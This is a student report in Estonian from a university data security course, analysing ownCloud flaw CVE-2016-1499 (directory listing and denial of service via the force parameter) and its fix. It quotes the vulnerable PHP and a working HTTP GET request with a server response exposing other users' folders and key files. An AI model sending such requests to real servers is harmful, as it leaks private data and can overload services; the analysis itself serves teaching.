Tartu Ülikool Andmeturve Referaat teemal: CVE-2016-1499 Koostaja: Sander Sats Kursus: Informaatika Tartu 2016
Sissejuhatus Käesolev referaat on kirjutatud seoses Tartu Ülikooli kursuse MTAT.03.134 Andmeturve raames. Referaadi teema käsitleb turvaauku CVE-2016-1499, milles owncloud Server i versioonid enne 8.0.10, 8.1.x enne 8.1.5 ja 8.2.x enne 8.2.2 lubasid autenditud kasutajal ligi pääseda tundlikule informatsioonile või tekitada suurt protsessori koormust kasutades force parameetrit. Turvaaugu kirjeldus Eelmainitud owncloud i versioonide puhul oli võimalik kahte asja teha: 1. Kuna owncloud i sisemises failisüsteemile ligipääsu funktsioonis oli viga, siis tõlgendati sisse antud path i relatiivselt. Tänu sellele oli autenditud kasutajal võimalik näha kõiki faile, mis failisüsteemis olemas on. Võimekus piirdus siiski ainult nägemisega muudatusi õigusteta kasutaja teha ei saanud. 2. Force parameetri abil sai sundida serverit teel failini kõiki kaustu läbi vaatama ning kui nõutud fail oli piisavalt sügaval, siis võis see päris kulukaks osutuda. Tänu sellele oli võimalik Denial of Service rünne. $force = (isset($_get['force']) and ($_GET['force'] === 'true')); $dir = isset($_get['dir'])? (string)$_get['dir'] : ''; foreach ($users as $user) { $eventsource->send('user', $user); $scanner = new \OC\Files\Utils\Scanner($user, \OC::$server- >getdatabaseconnection()); $scanner->listen('\oc\files\utils\scanner', 'scanfile', array($listener, 'file')); $scanner->listen('\oc\files\utils\scanner', 'scanfolder', array($listener, 'folder')); try { if ($force) { $scanner->scan($dir); public function folder($path) { $this->eventsource->send('folder', $path); } public function file() { $this->filecount++; if ($this->filecount > $this->lastcount + 20) { //send a count update every 20 files $this->lastcount = $this->filecount; $this->eventsource->send('count', $this->filecount); }
} Nagu koodist näha on, siis võetakse force parameter ja directory path otse urlist ilma autenti kontrollimata ning hakatakse seejärel iga kasutaja kohta välja kuvama kaustades sisalduvate failide arvu. Rünne Järgneva HTTP GET päringuga on võimalik näha teiste kasutate kaustastruktuuri. GET /index.php/apps/files/ajax/scan.php?force=true&dir=&requesttoken=<validreques TTOKEN> HTTP/1.1 Host: [HOST] Accept: text/event-stream Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: [REFERER] Cookie: [COOKIES] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Server response (shortened): event: user data: "[ID]" data: "\/" event: count data: 21 event: count data: 42 event: count data: 63 data: "\/[ID]" data: "\/[ID]\/cache" data: "\/[ID]6\/files" data: "\/[ID]\/files_encryption"
[...] data: "\/[ID]\/files_encryption\/keys\/files\/[FILENAME].zip" data: "\/[ID]\/files_encryption\/keys\/files\/[FILENAME].zip\/OC_DEFAULT_MODULE" data: "\/[ID]\/files_encryption\/keys\/files\/[FILENAME].pptx" [...] Turvaaugu parandus Esimese hooga eemaldati kaustade välja kuvamine, mis parandab ära kaustade listingu näitamise valedele kasutajatele. Seejärel lisati scannerile kontroll, kas üldse saab sellest kaustast lugeda: Ning seejärel pandi failisüsteemi skännimine üldse cron jobiks nii et kasutaja seda ise käivitada ei saa.
Kasutatud kirjandus https://www.syss.de/fileadmin/dokumente/publikationen/advisories/syss-2015-062.txt https://github.com/owncloud/core/blob/fe575feca85ee6e6bb7b8b423a60d377bd364193/apps/file s/ajax/scan.php https://owncloud.org/security/advisory/?id=oc-sa-2016-002 https://github.com/owncloud/core https://github.com/owncloud/core/commit/703b6d1803d776122ec0604cf0f3ab807033206e